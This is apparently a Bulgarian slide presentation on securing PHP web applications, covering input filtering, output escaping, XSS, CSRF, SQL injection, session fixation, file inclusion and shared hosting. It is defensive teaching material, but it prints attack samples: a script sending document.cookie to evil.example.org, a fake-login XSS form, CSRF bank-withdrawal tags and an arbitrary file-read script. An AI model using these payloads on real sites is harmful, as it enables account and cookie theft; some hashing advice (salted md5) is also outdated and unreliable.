  • 3. Неприятен страничен ефект от бързото разрастване на Интернет е ,че безопасността на личния ни и професионален живот е изложена на риск. Колкото по-свързан става светът, толкова по-проблемна става сигурността. Най-критични са самите уеб сървъри, които взаимодействат директно с потребителите, обменят данни, извършват финансови транзакции и др. PHP е един от най-популярните езици за уеб разработки. Проблемите със сигурността при разработването на уеб приложения с PHP произтичат основно от неговото неправилно и незащитено използване от разработчиците Всеки разработчик прави грешки, които в един момент могат да доведат до пробив в сигурността. Елементът display_errors може да бъде настроен чрез стойностите stderr и stdout , които указват съответно дали грешките да бъдат скривани или показвани на клиента. Показването на грешките заедно със стандартния изход може да се използва при разработва - нето на приложенията, но никога на онлайн работещи сървъри, понеже детайлизираната информация, която се предоставя, може да бъде видяна от злонамерен потребител. Въпреки това при настроен изход на stderr, грешките могат да бъдат докладвани на място недостъпно за потребителите чрез log_errors = On/Off и error_log = location, както и нивото на докладване на грешките чрез error_reporting(E_ALL – всички грешки) функцията. Всяко поведение при докладването на грешки може да се модифицира на всяко ниво, така че ако приложението е на обща хост-машина или на друго място, където промените в php.ini файла са невъзможни, тези настройки могат да се зададат чрез следния код: <?php ini_set(‘error_reporting’,E_ALL); ini_set(‘display_errors’,’stderr’); ini_set(‘log_errors’,’On’); ini_set(‘error_log’,’usr/local/apache/logs/error_log’); ?> Трябва да се има в предвид обаче, че при наличие на фатални грешки този код няма да бъде изпълнен. PHP предлага и функцията set_error_handler(my_error_handler), с която да се дефинират собствени функции за работа с грешки.
  • 4. Основни правила и практики за защита Защитата в дълбочина е добре познато правило сред професионалистите в областта на защитата. Изразява се в разработването на резервна защита. Въпреки че основната защита трябва да не се проваля, един резервен план може да се окаже определящ в критична ситуация. Например повторно удостоверяване на самоличността преди извършване на критични действия може да възпрепятства неудостоверен потребител представящ се, по някакъв начин, за друг потребител да извърши неоторизирани действия. Най-малка привилегия означава да не се дават ненужни привилегии на потребителите, като по този начин се минимизира риска и се повишава сигурността. Минимизирането на риска е ключов компонент при разработва- нето на защитени приложения. Простото е красиво. Сложността поражда грешки, а грешките могат да създадат слабости в сигурността. Поради тази причина простотата е важна характеристика на едно защитено приложение. Ненужната сложност е ненужен риск. Намаляване на публичното показване се изразява в следене на данните изложени на показ при комуникациите към клиенти и бази данни. Основната среда за публично излагане на данните е Интернет поради неговата общодостъпност. Публичното излагане на данни не винаги представлява риск, въпреки това трябва да бъде сведено до минимум. Ако например потребител въвежда платежна информация трябва да се използва SSL, за да се защитят данните от кредитната карта докато пътуват от клиента до сървъра. Ако се визуализира номера на кредитната карта на страница за потвърждение, тя също трябва да се защити със SSL понеже това означава, че номера се връща обратно към клиента. В този случай номера може да не бъде изцяло визуализиран, като се показва само част от него или се използва друг подход. За да се минимизира публичното показване на деликатни данни, първо трябва да се определи кои данни са деликатни, след което да се следят и елиминира всеки ненужен показ. Балансиране на риска и използваемостта е установена практика, която изсква да се обмислят незаконните и легитимните употреби на приложението от потребителите. Подходящият баланс може да бъде постигнат, като се използват прозрачни за потребителите защити или такива, които са им добре познати и не представляват особено неудобство за тях. Осигуряването на потребителско име и парола за достъп например е защита, с която повечето потребители са свикнали. Следенето на данни - какви са, къде се намират, от къде идват и къде отиват е нужно за всеки разработчик на PHP приложения, за да бъдат те
  • 5. максимално защитени в интернет средата. Суперглобални масиви като $_GET, $_POST и $_COOKIE ясно разпознават входящата информация от потребителя, а строго установената практика за именуване помага за следенето на оригинала на всички данни в кода. Важно е също да се знае къде данните излизат от приложението. При използване на echo например данните се изпращат на клиента, а при използване на mysql_query(), данните се изпращат към базата данни дори когато целта на заявката е извличане на данни. Филтрирането на входяща информация е един от основните процеси при защитата на уеб приложенията. Чрез него се доказва валидността на данните и по този начин се елиминира риска от използване на неправилни данни, на които неоснователно се има доверие. Филтрирането на входящата информация се състои от три стъпки - идентифициране, филтриране и разграничаване на филтрирани от замърсени данни. Под входяща информация се има предвид всички данни, които възникват на отдалечен източник. Данните от клиента са лесни за разпознаване понеже се запазват в суперглобални масиви като $_GET и $_POST. Друга входяща информация обаче може да бъде по-трудна за разпознаване. Например $_SERVER съдържа елементи, които могат да се обработват от клиента и не винаги е лесно да се определи кои от тях представляват входяща информация затова е най-добре да се приеме целият масив за входяща информация. В други случаи това, което се определя като входяща информация, може да бъде въпрос на лично мнение на разработчика, в зависимост от това къде предпочита тя да бъде съхранявана – на отдалечен източник или в част от приложението. След идентифицирането на информацията, невалидните данни трябва да бъдат спрени, като за това могат да бъдат използвани разнообразни подходи. Най-сигурен начин е данните да бъдат проверявани без да се правят опити те да бъдат коригирани. Потребителите трябва да могат да въвеждат само валидни данни, в противен случай е възможен пробив в сигурността. Последната стъпка е да се използва процедура за именуване или друга установена практика за надеждно разграничаване на филтрираните от замърсените данни. Например всички филтрирани данни могат да бъдат съхранявани в масив $clean като този масив винаги се инициализира празен и като допълнение може да се забранят всички променливи със същото наименование от отдалечени източници. След проверка дали данните от $_POST например са каквито очакваме, те се прехвърлят в $clean и така те могат да бъдат използвани на други места в приложението.
  • 6. Декодирането на изходяща информация се извършва по същия начин като при филтрирането – идентифициране, декодиране и различаване на декодираните данни от тези, които не са. Важно е да се декодират само филтрирани данни. За да се разпознае изходящата информация към клиента се търсят низове като echo, print, printf, <?= в кода. За декодирането на информация предназначена за най-често срещаното направление – клиента, съществува вградената функция htmlentities(), която взима низ и връща на клиента модифицираната му версия. За да се различат декодираните от недекодираните данни е желателно да се използва процедура за именуване. За данни, които ще се изпращат на клиента процедурата е подобна на тази при филтрирането. Декодираните с htmlentities() данни се съхраняват в масив $html, който се инициализира празен и може да съдържа само филтрирани и декодирани данни. <?php $html = array( ); $html[‘username’] = htmlentities($clean[‘username’]); echo “<p>Welcome back, {$html[‘username’]} </p> ”; ?> Чрез използване на $html[‘username’], при изпращането на името на клиента можем да сме сигурни, че специалните символи не се обработват от браузъра. Друга популярна дестинация е базата данни. За MySql най-добрата декодираща функция е mysql_real_escape_string(), като принципът на използване е същия.
  • 7. Формуляри и URL Формуляри и данни Формулярите осигуряват описание на приложението, като посочват с какви данни работи то. Данните от формуляри могат да бъдат изпратени до приложението чрез URL(метода GET например) или в съдържанието на заявката(POST). Когато е използван методът GET, браузърът изпраща данните (потребител и парола например) от формуляра, както URL низът за заявка: GET /login.php?username=user&password=pass HTTP/1.1 Host: example.org След предоставяне на формуляра за обработка, браузърът е пренасочен на http://example.org/login.php?username=user&password=pass Когато във формулярът е използван метода POST, данните не се съдържат в низа за заявка на URL адреса, а в съдържанието на заявката: POST /login.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=user&password=pass Семантични атаки на URL Повечето приложения за регистрация имат и механизъм за промяна на забравена парола. Обикновено се използва въпрос и отговор дефинирани при регистрацията на потребителя. Следният формуляр изисква от потребителя алтернативен електронен адрес, а името на сметката се идентифицира в скрита променлива на формуляра:
  • 8. <form action="reset.php" method="GET"> <input type="hidden" name="user" value="user" /> <p>Please specify the email address where you want your new password sent:</p> <input type="text" name="email" /><br /> <input type="submit" value="Send Password" /> </form> Скриптът reset.php има цялата информация, необходима за възстановяване на паролата и изпращане на писмо с име на акаунта, на който да бъде възстановена паролата, и електронния адрес, на който да се изпрати новата парола. Ако потребителят отговори правилно на въпроса, той се смята за легитимен притежател на акаунта и при въвеждане на алтернативен електронен адрес, например user@example.org, ще бъде препратен на следния URL адрес: http://example.org/reset.php?user=user&email=user@example.org Понеже във формулярът е използван метода GET, този потребител може да промени стойността на потребителя в заявката, например user=dido, и ако reset.php има доверие на тези данни, новата парола ще бъде генерирана от акаунта на dido и изпратена на user@example.org, позволявайки на user да присвои акаунта на dido. Това може да се избегне лесно, ако се използват сесии за съхранение: <?php session_start(); $clean = array(); $email_pattern = '/^[^@s<&>]+@([-a-z0-9]+.)+[a- z]{2,}$/i'; if (preg_match($email_pattern, $_POST['email'])) { $clean['email'] = $_POST['email']; $user = $_SESSION['user']; $new_password = md5(uniqid(rand(), TRUE)); if ($_SESSION['verified']) { /* Update Password */ mail($clean['email'], 'Your New Password', $new_password); } } ?>
  • 9. Атаки при качване на файлове Предоставянето на възможност за качване на файлове на сървъра от потребителите е широко разпространено, но представлява още един проблем за сигурността. Обикновен формуляр за качване на файл се състои от HTML и PHP код. HTML формуляра се предоставя на клиента, а PHP скрипта обработва качването. Когато PHP получи POST заявка ще създаде временен файл с произволно име и ще попълни глобалната променлива $_FILE с информация за качения файл – име, тип, размер, временното име. Функцията move_uploaded_file() ще премести този файл на посочено от потребителя място. Ако то е под root директорията, файлът ще може да бъде извикан чрез URL заявка. При липса на ограничения за типа на качваните файлове, той може да бъде PHP или .NET със злонамерен код. Възможно е обаче, дори при дефинирани ограничения за типове файлове, разработчика да бъде излъган от типа на файла предоставен от $_FILE, понеже тази информация идва от клиента, а в случай че нарушител използва друго приложение способно да изпраща HTTP-POST заявки, типа може да бъде фалшифициран. Най-добрите практики за защита са: - Да се дефинира .htaccess файл с правила за разрешени файлови разширения - .htaccess трябва да бъде в родителска директория спрямо качените файлове - Съществуващите файлове не трябва да могат да бъдат заменяни с нови - Не трябва да се разчита на валидизация на типа само от клиентска страна. Cross-site криптиране (XSS) Всяко уеб приложение, което визуализира входяща информация е изложено на риск от XSS атака. За да бъде защитено едно такова приложение то трябва правилно да филтрира и декодира тази информация. В противен случай е възможно въвеждането от нарушител в едно поле за търсене например: <br><br>Please login with the form below before proceeding:<form action="destination.php"> <table><tr><td>Login:</td> <td><input type=text length=20 name=login></td></tr> <tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>
  • 10. което при отваряне от друг потребител би довело до показване на фалшив формуляр за попълване на данни за автентификация, както и при евентуално попълване от страна на потребителя - тяхното изпращане на място указано от нарушителя. XSS атаките са най-общо три вида: Директни: Атакуващият предоставя връзка или друг вид „маскиран“ код към клиента. Когато клиента последва такава връзка той попада на оригиналният уебсайт на дадената услуга, но вече с модифициран от атакуващия код. Възможно е и възползването от уязвимост на софтуера, с който жертвата преглежда подаденото му съобщение, с цел атакуващия да добие достъп до неговата административна част. Директните атаки се реализират най-често чрез изпращане на писма по електронната поща към жертвата или чрез съобщения в различни чат приложения. Статични: Атакуващият успява да вмъкне нежелания код в база данни и само изчаква жертвата сама да отвори уязвимата страница. Това са най-честите атаки при т.нар. социални мрежи – форуми, блогове, дискусионни групи, и т.н. DOM: Това са XSS атаки от т.нар. локално ниво. Обикновено се използва уязвимост в скрипт на продукта, чрез който самият софтуер да предизвика директна XSS атака към жертвата. Почти няма приложение в Интернет, което да няма или да не е имало XSS уязвимост. В днешно време, с навлизането на все повече технологии като Action Script на Flash или AJAX скриптовете, XSS атаките все повече добиват популярност. На практика всички тези проблеми се зараждат в момента, когато сървърите придобиват функционалност за директно изпълнение на код при клиента (напр. Javascript). Cross-site фалшификати на заявки (CSRF) CSRF фалшификатът на заявка е вид атака, която позволява на един нарушител да изпраща произволни HTTP заявки от името на жертвата. Понеже заявката се изпраща от жертвата, а не от нарушителя, е много трудно да се определи кога една заявка е CSRF атака. За разлика от XSS, където браузърът се доверява на сайт с инжектиран скрипт, в този случай сайтът се доверява на браузър, чиято заявка е модифицирана от трето лице. Това може да бъде направено чрез вграден източник като изображение. Ако например в един сайт има вградено изображение по този начин – <img src="http://bank.example.com/withdraw?account=Victim&amo unt=1000000&for=Hacker"> или линк във форум-<a href="http://bank.example.com/withdraw?account=Victim&am ount=1000000&for=Hacker”> , и банката на жертвата пази данните за
  • 11. автентификация в бисквитка, то изискването на този ресурс от клиентски браузър би довело до извършване на транзакция към сметка на нарушителя. Разбира се има много препятствия пред един нарушител за да извърши такава атака. Той трябва да уцели правилно входните данни и ако използваният от банката метод е $_POST или има скрити идентификационни данни включени в заявката, които нападателя няма как да знае, тази атака ще пропадне. Бази данни и SQL Открита информация за достъп Една от основните грижи при използването на бази данни е разкриването на информацията за достъп. Потребителското име и парола могат да се съхраняват в отделен файл db.inc например: <?php $db_user = 'myuser'; $db_pass = 'mypass'; $db_host = '127.0.0.1'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> Понеже Apache няма определен специален тип на съдържането асоцииран с .inc файлове, ако db.inc се намира под главната директория, ще бъде възможно извикването на неговото съдържание като обикновен текст, чрез URL заявка. Например http://www.example.com/db.inc . По тази причина такива файлове могат да се намират на друго място и да бъдат включвани или изисквани чрез include и require. Може също да се настрои Apache сървърът да отхвърля заявки за .inc ресурси: <Files ~ ".inc$"> Order allow,deny Deny from all </Files>
  • 12. SQL инжектиране SQL инжектирането е една от най-често срещаните уязвимости в PHP приложенията. Това се дължи на провал от страна на разработчика при филтрирането и декодирането на данните от и към базата данни. Като начало една защита може да бъде изпозлването на имена във формуляра, несъответстващи на колони от базата данни, тъй като един нарушител може да разгледа HTML сорса и да добие представа за структурата на базата данни. Още по-надеждна защита е подправянето на потребителската парола с низ, който е уникален за приложението: <?php $salt = 'SHIFLETT'; $password_hash = md5($salt . md5($_POST['password'] . $salt)); ?> Използването на mysql_erorr() e полезно при разработката, но при въвеждане на кавичка за име и mypass за парола например, върнатата грешка може да разкрие съществена информация, както за структурата на базата данни, така и за начина на филтриране и декодиране на данните. Ако се използва библиотека, която предлага ограничителни параметри или символи, които могат да се заменят с други от списък (PEAR::DB, PDO) това ще бъде допълнителна защита, тъй като данните няма да могат директно да манипулират формата на заявката. Сесии и бисквитки Кражба на бисквитка може да се осъществи чрез XSS атака. В един обикновен формуляр за въвеждане на коментар от потребител <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form>
  • 13. и comment.php <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> може да бъде въведен от потребител следният скрипт: <script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script> което практически означава, че този потребител е добавил код към приложението, карайки останалите потребители неволно да изпращат своите бисквитки на evil.example.org където steal.php ще има достъп до тях. Това лесно може да бъде избегнато ако са спазени описаните, в първа точка, основни правила за филтриране и декодиране на информацията. Открити данни от сесия Активирането на SSL е практичен и полезен начин за намаляване на риска от разкриване на данните, които се обменят между клиента и сървъра, и това особено много важи за приложения, които обменят секретни данни с клиента. SSL осигурява ниво на сигурност над HTTP, така че цялата информация в HTTP заявките и отговорите да бъде защитена. Самият сесиен склад може да бъде криптиран така, че сесийните данни да не могат да се прочетат без ключ. В PHP това може да се направи чрез session_set_save_handler() и написване на собствен склад за съхраненние на сесии и функции, кодиращи сесийните данни за съхранение и декодиращи тези за четене. Фиксирани сесии Важно значение по отношение на сесиите има секретният характер на сесийния идентификатор. Ако той се пази в тайна, не съществува практически
  • 14. риск от отвличане на сесия. Има три основни метода, чрез които нарушител може да се сдобие с валиден идентификатор - предсказване, улавяне, фиксиране. PHP генерира случаен идентификатор, така че предсказването му не представлява практичеки риск. Улавянето му е по-често срещано затова намаляването на публичното излагане чрез SSL намалява този риск. Фиксирането на сесии е вид атака, която подмамва потърпевшия да използва сесиен идентификатор посочен от нарушителя например: <a href="http://example.org/index.php?PHPSESSID=1234">Click Here</a> или пренасочване на протоколно ниво <?php header('Location: http://example.org/index.php?PHPSESSID=1234'); ?> Ако атаката е успешна, нарушителят ще избегне необходимостта от предвиждане или улавяне на валиден сесиен идентификатор и ще може да стартира още по-опасни атаки. Това може да бъде предотвратено чрез session_regenerate_id() и подновяване на идентификатора веки път при промяна на нивото на привилегия: <?php $_SESSION['logged_in'] = FALSE; if (check_login()) { session_regenerate_id(); $_SESSION['logged_in'] = TRUE; } ?> Допълнителни елементи на кода Основна грижа, що се отнася до допълнителните елементи на кода, е публичното излагане на сорс кода. Това до голяма степен се дължи на следните често срещани ситуации: - Допълнителните елементи използват разширение .inc - Допълнителните елементи се съхраняват в главната директория.
  • 15. - Apache не може да разбере какъв тип ресурс представлява даден файл с разширение .inc - Apache има DefaultType(тип по подразбиране) text/plain. При това положение допълнителните елементи могат да бъдат достъпни чрез URL адрес. Освен това те не са анализирани синтактично от PHP, а се третират като обикновен текст, което води до визуализиране на сорс кода в браузъра на потребителя. Възможно е също използването на скрити URL адреси след автентификация например: <?php $authenticated = FALSE; $authenticated = check_auth(); /* ... */ if ($authenticated) { include './sensitive.php'; } ?> Поради това, че sensitive.php се намира в главната директория, той може да бъде отворен директно от браузър и без автентификация, чрез извикване на неговия URL адрес. Много ситуации изискват употребата на допълнителни динамични елементи на кода, където част от пътя до файла или името му се съхраняват в променлива: <?php include "/cache/{$_GET['username']}.html"; ?> Въпреки че този подход си има предимства, той предоставя перфектна възможност нарушителят да избере кой от кешираните файлове да бъде визуализиран чрез промяна на username в URL адреса: http://example.org/index.php?username=filename Друга опасна ситуация е използването на замърсени данни като главна част от една динамична структура:
  • 16. <?php include "{$_GET['path']}/header.inc"; ?> Благодарение на allow_url_fopen елемента на PHP, който е активиран по подразбиране, могат да се добавят ресурси различни от файлове: <?php include 'http://www.google.com/'; ?> Ако този сайт беше на нарушител, щеше да е възможно добавянето на .inc файл например. За да защитим едно от показаните по горе ситуации, допълнителните елементи на кода трябва да се съхраняват извън главната директория и да се използват само филтрирани данни в операторите include и require. Системни команди Използването на системни команди е опасно действие и това важи най- вече в случаите, когато се използва отдалечена информация, за да се конструира командата за изпълнение. <?php $last = exec('ls', $output, $return); print_r($output); echo "Return [$return]"; ?> Ако при конструиране на низа за изпълнение на командата се използват замърсени данни, нарушителят може да изпълни произволни команди. По тази причина използването на shell команди не се препоръчва, но в случай че това се налага, данните за конструиране на низа за изпълнение трябва да са филтрирани и изхода винаги декодиран:
  • 17. <?php $clean = array(); $shell = array(); /* Филтриране на входа ($command, $argument) */ $shell['command'] = escapeshellcmd($clean['command']); $shell['argument'] = escapeshellarg($clean['argument']); $last = exec("{$shell['command']} {$shell['argument']}", $output, $return); ?> Автентификация и упълномощаване Атака на грубата сила При атаката на грубата сила се проверяват всички възможности за автентификация, без да се анализира кои от тях са най-вероятни – изброяват се всички възможности. От гледна точка на контрола за достъп при такава атака, нарушителят опитва да се регистрира, правейки много голям брой опити. В повечето случаи се използват валидни потребителски имена и единственото, което се отгатва, е паролата. Ограничаването на броя на опитите за автентификация е достатъчно ефективна защита, но нарушителят трябва да бъде идентифициран без да се навреди на легитимните потребители. Проследяване на паролата Използването на SSL е ефективен начин за защита на HTTP заявките и техните отговори от публично разкриване, в случай че трафикът е наблюдаван от нарушител. Един защитен формуляр би изглеждал по следния начин: <form action="https://example.org/login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" /></p> </form>
  • 18. Атаки на повторенията Атаката на повторенията, която понякога се нарича атака на представянето, представлява всяка атака, при която нарушителят препраща данни, които преди това са били изпратени от потребителя, за да си осигури достъп или други привилегиии, които този потребител притежава. За да се защити приложението от такава атака, трябва да се затрудни нарушителя при прихващане на данни, които могат да се използват за достъп до защитени ресурси. За целта трябва да се избягва употребата на такива данни, както и да се ограничи публичното им излагане. Постоянни регистрации Постоянната регистрация е механизъм, при който автентификацията между сесиите на браузъра остава постоянна. С други думи, потребител, който се регистрира днес и остава регистриран и на следващия ден, дори ако срокът между сесиите му е изтекъл. Този метод повишава производителността, но намалява сигурността. Това е така защото се използва бисквитка за постоянна регистрация. За да се предотврати публичното излагане на потребителско име и парола в бисквитката, вместо тях могат да се използват втори идентификатор (identifier), признак за постоянна регистрация(token) и време за прекъсване на постоянна регистрация(timeout). Чрез генериране и съхраняване на втори идентификатор заедно с признака може да се създаде бисквитка, която не издава информацията за автентификация на потребителя: <?php $salt = 'SHIFLETT'; $identifier = md5($salt . md5($username . $salt)); $token = md5(uniqid(rand(), TRUE)); $timeout = time() + 60 * 60 * 24 * 7; setcookie('auth', "$identifier:$token", $timeout); ?> Додбре е срокът на бисквитката да изтича след седмица или по-малко, да работи само за една автентификация, след което да се изтрива или регенерира. Друго полезно указание е да се изисква парола всеки път преди да бъде извършено важно действие.
  • 19. Споделен хостинг Публично разкриване на сорс код Ако един сайт се намира на споделен сървър, обикновен PHP скрипт, написан от друг разработчик на сървъра може да чете произволни файлове: <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?> Чрез малко по-сложен скрипт може да бъде разгледана цялата файлова система Най-добрата практика в такъв случай е всички деликатни данни да се пазят в база данни. Разбира се тук изниква въпроса къде да се пазят данните за достъп до базата данни. Освен съхраняването на такъв файл извън главната директория, той трябва да има права за четене само от администратора и да има следния формат: SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" По такъв начин информацията за достъп до базата данни ефективно се предпазва от злонамерен скрипт. Този файл следва да бъде добавен от httpd.conf чрез Include "/path/to/db.conf". По този начин родителския процес на Apache може да прочете конфигурационния файл понеже работи като root, докато дъщерният, изпълняващ заявките, не може. В PHP има директива наречена save_mode. Ако е активирана, се прави допълнителна проверка, дали даден файл, върху който ще се оперира, е на същия притежател като скрипта, който ще бъде изпълнен. Това обаче не се отнася до скриптове написани на други езици или скриптове създадени от други скриптове, които автоматично стават притежание на сървъра и получават достъп до неговите файлове. За да бъде максимално защитено едно PHP приложение, освен основната защита, трябва да бъде обмислена и защита в дълбочина, взимайки предвид всички възможни ситуации, дори и ако тяхното възникване е малко вероятно. Сравниетлно нова защита е целият код на уеб сайта да се криптира с помоща инструменти като HTML Guardian, PHPCipher и много други, като по този начин се предотвратяват голяма част от посочените заплахи.
  • 21.
  • 22.